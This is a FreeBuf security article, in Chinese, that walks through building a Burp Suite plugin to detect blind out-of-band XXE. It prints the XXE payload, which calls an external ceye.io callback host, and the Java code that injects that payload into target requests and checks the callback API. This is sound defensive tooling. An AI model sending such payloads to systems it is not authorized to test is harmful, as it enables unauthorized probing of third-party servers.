freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Burp XXE Scanner 插件开发(附下载)
2018-05-19 09:00:25
所属地 湖南省

0x00 前言

Burp没有自带检测XXE漏洞功能,也没有插件。于是自己开始动手撸一个XXE Scanner插件出来。

0x01 检测原理

OOB XXE盲攻击,利用ceye监控的http记录,我们再通过ceye给的api进行查询是否有利用XXE漏洞发送的http请求记录。使用如下payload。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://xxxx.ceye.io/xxe_test">
%remote;]>
<root/>

0x02 成品展示

首先需要一个ceye账号,将Identifier(用于http请求到你的ceye账户下)Token(用于API查询你的http请求记录)分别填入到下图的文本框当中,点击保存。会在burp目录下生成xxe.config,以Identifier|Token格式保存着。下载启动burp的时候,XXE Scanner插件会自动读取xxe.config,获取到上次保存的参数。


1.png

请求带xxe_XXXXXXXXXX(10个随机字母或数字),用于后面判断是否利用XXE发送了http请求。

2.png

通过api查询,检测到带有xxe_XXXXXXXXXX(10个随机字母或数字)的请求,则报XXE inject。

3.png

0x03 插件开发

由于有需要填写配置参数,所以需要一个自定义tab页面。需要使用ITab接口,并且使用IBurpExtenderCallbacks.addSuiteTab()进行添加。新建XxeOption类继承ITab,然后再构造方法里面添加控件。

public XxeOption(final IBurpExtenderCallbacks callbacks) {
    this.callbacks = callbacks;
    jp = new JPanel();
    jlId = new JLabel("Identifier:");
    jlToken = new JLabel("API Token:");
    jtfId = new JTextField(10);
    jtfToken = new JTextField(20);
    //设置Id,Token文本框
    File file = new File("xxe.config");
    if(file.exists()){
        String info = ReadConfig();
        if(info.contains("|"))
        {
            jtfId.setText(info.split("\|")[0]);
            jtfToken.setText(info.split("\|")[1]);
        }
    }
    jb = new JButton("保存");
    jb.addActionListener(this);
    jp.add(jlId);
    jp.add(jtfId);
    jp.add(jlToken);
    jp.add(jtfToken);
    jp.add(jb);
    callbacks.addSuiteTab(XxeOption.this);
}

最后在registerExtenderCallbacks方法里实例化XxeOption即可。

IScannerCheck可以自定义扫描,一种是doActiveScan主动扫描,一种是doPassiveScan被动扫描。主动扫描是对每个参数进行扫描,会发送n次请求包。而被动扫描只会扫一次,将doPassiveScan函数代码走完一遍就完了。而检测XXE我们只需要发送一次数据包,所以选择被动扫描。

public List<IScanIssue> doPassiveScan(IHttpRequestResponse baseRequestResponse) {
    //code
    return null;
}

接下来就是发送xxe payload。使用buildHttpMessage将headr和body组合。再使用makeHttpRequest发送请求。

//xxe payload
byte[] xxePayload = ("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
        "<!DOCTYPE root [\n" +
        "<!ENTITY % remote SYSTEM \"http://" + xxeOption.jtfId.getText() + "/" + flag + "\">\n" +
        "%remote;]>\n" +
        "<root/>").getBytes();
//修改body为xxe payload,并且发送xxe payload http包
byte[] xxe = helpers.buildHttpMessage(helpers.analyzeRequest(baseRequestResponse.getRequest()).getHeaders(),xxePayload);
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
        baseRequestResponse.getHttpService(), xxe);

使用makeHttpRequest进行api接口查询。

//构造发送到ceye.io的IHttpService
IHttpService test = new IHttpService() {
    @Override
    public String getHost() {
        return "api.ceye.io";
    }
    @Override
    public int getPort() {
        return 80;
    }
    @Override
    public String getProtocol() {
        return "http";
    }
};
//构造发送到ceye.io的http headers信息
byte[] ceye = ("GET /v1/records?token=" + xxeOption.jtfToken.getText() + "&type=request&filter=" + flag + " HTTP/1.1\n" +
        "Host: api.ceye.io\n" +
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0\n" +
        "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\n" +
        "Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3\n" +
        "Accept-Encoding: gzip, deflate\n" +
        "DNT: 1\n" +
        "Connection: close\n" +
        "Upgrade-Insecure-Requests: 1\n" +
        "\n").getBytes();
//stdout.println("GET /v1/records?token=" + xxeOption.jtfToken.getText() + "&type=request&filter=" + flag + " HTTP/1.1\n");
//发送数据包到ceye.io
IHttpRequestResponse ceyeRequestResponse = callbacks.makeHttpRequest(
        test, ceye);

对返回结果进行匹配。

//设置ceye的返回包作为漏洞返回包
checkRequestResponse.setResponse(ceyeRequestResponse.getResponse());
//获取ceyeRequestResponse(发送到ceye的包)看是否有请求的关键词,如果有则有漏洞。
List<int[]> matches = getMatches(ceyeRequestResponse.getResponse(), flag.getBytes());
//checkRequestResponse(发送xee payload的包),对flag进行匹配,然后高亮再请求包中。
List<int[]> requestMatches = getMatches(checkRequestResponse.getRequest(), flag.getBytes());
//stdout.println(new String(checkRequestResponse.getRequest()));
if(matches.size() > 0)
{
    //报告漏洞
    List<IScanIssue> issues = new ArrayList<>(1);
    issues.add(new CustomScanIssue(
            baseRequestResponse.getHttpService(),
            helpers.analyzeRequest(baseRequestResponse).getUrl(),
            new IHttpRequestResponse[] { callbacks.applyMarkers(checkRequestResponse, requestMatches, matches) },
            "bind xxe inject",
            "payload: " + helpers.bytesToString(flag.getBytes()),
            "High"));
    return issues;
}

0x04 参考

https://portswigger.net/burp/extender/api/

0x05 下载地址

源码

成品

* 本文作者lufei,转载注明来自FreeBuf.COM

# burp # xxe
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录